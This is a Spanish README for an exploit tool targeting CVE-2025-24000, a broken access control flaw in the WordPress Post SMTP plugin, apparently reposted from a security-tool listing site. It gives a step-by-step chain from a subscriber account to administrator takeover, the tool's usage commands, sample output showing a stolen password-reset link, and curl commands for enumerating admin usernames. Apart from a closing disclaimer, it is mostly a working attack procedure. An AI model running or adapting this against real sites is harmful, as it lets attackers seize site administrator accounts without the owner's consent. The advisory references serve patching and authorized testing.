CVE-2025-24000 — Exploit de escalada de privilegios en Post SMTP

Resumen

Este script explota la CVE-2025-24000, una vulnerabilidad de control de acceso roto de alta gravedad en el plugin Post SMTP para WordPress (versiones ≤ 3.2.0). Permite que cualquier usuario autenticado con una cuenta de bajos privilegios (por ejemplo, Suscriptor) acceda a los registros de correo electrónico de la API REST del plugin, robe un enlace de restablecimiento de contraseña de administrador y se apodere de la cuenta de administrador.

• CVE: CVE-2025-24000
• Plugin: Post SMTP (WPExperts)
• Versiones afectadas: ≤ 3.2.0
• Corregida en: 3.3.0
• Puntuación CVSS: 8.8 (Alta)
• Impacto: Escalada de privilegios → Toma completa de la cuenta de administrador

Cómo funciona

La vulnerabilidad se debe a una comprobación de permisos defectuosa en la API REST del plugin:

// Vulnerable code (≤ 3.2.0)
public function get_logs_permission() {
    return is_user_logged_in();
}

Cualquier usuario con sesión iniciada, independientemente de su rol, puede acceder a endpoints destinados únicamente a administradores:

• GET /wp-json/psd/v1/get-logs
• GET /wp-json/psd/v1/get-details?id=<id>&type=show_view
• POST /wp-json/psd/v1/resend-email

Cadena de explotación

1. Regístrate o usa una cuenta WordPress existente de bajos privilegios (Suscriptor)
2. Inicia sesión y obtén un nonce de REST de WP desde /wp-admin/
3. Activa un restablecimiento de contraseña para la cuenta de administrador
4. Lee los registros de correo mediante la API REST sin protección
5. Extrae el enlace de restablecimiento de contraseña del registro
6. Usa el enlace de restablecimiento para establecer una nueva contraseña de administrador
7. Inicia sesión en /wp-admin como administrador

Requisitos

• Python 3.x
• Biblioteca requests (pip install requests)
• Una cuenta registrada en el sitio WordPress objetivo (el nivel de Suscriptor es suficiente)

Uso

python3 exploit_cve_2025_24000.py \
  --url <wordpress_base_url> \
  --username <your_subscriber_username> \
  --password <your_subscriber_password> \
  --email <admin_username_or_email>

Argumentos

Ejemplo

python3 exploit_cve_2025_24000.py \
  --url http://samurai.local/samurai/ \
  --username attacker \
  --password Password1 \
  --email shogun

Salida esperada

[*] Logging in as attacker...
[+] Logged in successfully as attacker
[*] Fetching WP REST nonce from wp-admin...
[+] Got nonce: a5f398e081
[*] Triggering password reset for: shogun
[+] Password reset triggered.
[*] Fetching email logs...
[+] Got logs response.
[*] Checking 1 email(s) for reset link...

[+] RESET LINK FOUND:
    http://samurai.local/samurai/wp-login.php?action=rp&key=XXXXXXXXXXXX&login=shogun

[*] Visit the link above to set a new admin password and take over the site.

Consejos

• Si el nombre de usuario del administrador es desconocido, enuméralo mediante la API REST de WP:
  root@kitploit:~

  curl -s 'http://target.local/wp-json/wp/v2/users' | python3 -m json.tool
  

• O mediante enumeración de autores:
  root@kitploit:~

  curl -s 'http://target.local/?author=1' -I | grep -i location
  

• El enlace de restablecimiento es de un solo uso y caduca: úsalo inmediatamente después de extraerlo
• Si los registros están vacíos, asegúrate de que el sitio esté configurado para enviar correos a través de Post SMTP (no PHP mail)

Referencias

• Aviso de Patchstack: https://patchstack.com/database/wordpress/plugin/post-smtp/vulnerability/wordpress-post-smtp-3-2-0-privilege-escalation-vulnerability
• Aviso de GitHub: https://github.com/advisories/GHSA-2fgh-78wf-f9v9
• Reproducción paso a paso: https://medium.com/@security_56355/from-subscriber-to-admin-reproducing-cve-2025-24000-in-wordpress-post-smtp-plugin-8105ff85e274
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24000

Aviso legal

Esta herramienta está destinada únicamente a pruebas de penetración autorizadas y fines educativos. No la utilices contra sistemas en los que no tengas permiso explícito para realizar pruebas.